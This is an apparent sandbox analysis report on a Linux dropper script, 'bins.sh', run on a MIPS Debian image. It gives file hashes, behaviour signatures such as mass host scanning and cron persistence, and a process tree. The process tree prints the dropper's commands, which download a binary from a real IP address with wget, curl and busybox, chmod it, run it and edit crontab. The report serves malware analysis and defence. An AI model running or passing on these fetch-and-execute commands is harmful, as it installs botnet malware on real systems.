Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/12/2024, 21:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8580d3e0404771972a9f01c8f1022b41

  • SHA1

    12009ebfa508f900f56d9da9a3fc0f058ce2227a

  • SHA256

    838e2007e9ae8cb8aaa9c2f53b17d5503d751cdc59a5997e2b9228de843b38f1

  • SHA512

    11d915de31c2a4cde4cd48529b3962db89f49307c35d963b9c4ee6e4edaa1eb02fd409d65305a4f30a6a0576ab134d3479071c9eee0d5bbf6b71b8151caacde9

  • SSDEEP

    96:uxnn5zkwsZhf0wvJhVz6a/eHK9h1TksmBbQJhVz6aDyyLil8dm9h1Tksdg1PZhfZ:u0Zhf0wv9eHK0CHZhf0wx

Malware Config

Signatures

  • Contacts a large (2080) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          ./3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:738
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:740
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:741
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:742
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:747
            • /bin/rm
              rm 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
              2⤵
                PID:744
              • /usr/bin/wget
                wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • System Network Configuration Discovery
                PID:748

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c

                    Filesize

                    151KB

                    MD5

                    6c583043d91c55aa470c08c87058e917

                    SHA1

                    abf65a5b9bba69980278ad09356e53de8bb89439

                    SHA256

                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                    SHA512

                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                  • /var/spool/cron/crontabs/tmp.TZOKGF

                    Filesize

                    210B

                    MD5

                    50db34bbde4cdac51920452b1b81be3c

                    SHA1

                    e7ea3c3d0113cba777146b28ebc0dd81c490ea17

                    SHA256

                    a16c0ab265a76ef64c9c9bf436d3eee3e5a3c15cb2d70d5634806fc0ce8b3a63

                    SHA512

                    d63d74a4ee10fb4ae7d0ffe9a1bb197ea72f60feabda04b2cc0b2d0ab12b04268fd4e1cb680bf0ebd62cbd1fa9fe19bec6c1a56ade0e6a136e28495a4d527ad2